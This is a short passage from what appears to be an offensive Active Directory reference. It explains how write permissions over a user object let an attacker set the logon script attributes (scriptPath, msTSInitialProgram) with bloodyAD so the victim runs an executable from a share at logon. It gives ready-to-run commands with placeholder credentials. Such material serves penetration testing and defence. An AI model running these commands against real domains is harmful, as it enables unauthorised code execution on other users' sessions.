Logon script

It is worth noting that during my tests, I couldn't find a way to practice this scenario. Since I didn't find practical enough resources on the Internet, feel free to reach out if you manage to exploit this.

This abuse can be carried out when controlling an object that has a GenericAll or GenericWrite over the target, or a WriteProperty premission over the target's logon script attribute (i.e. scriptPath or msTSInitialProgram).

The attacker can make the user execute a custom script at logon.

This can be achieved with bloodyAD.

bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" set object vulnerable_user msTSInitialProgram -v '\\\share\file.exe'
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" set object vulnerable_user msTSWorkDirectory -v 'C:\'

# or
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" set object vulnerable_user scriptPath -v '\\\share\file.exe'
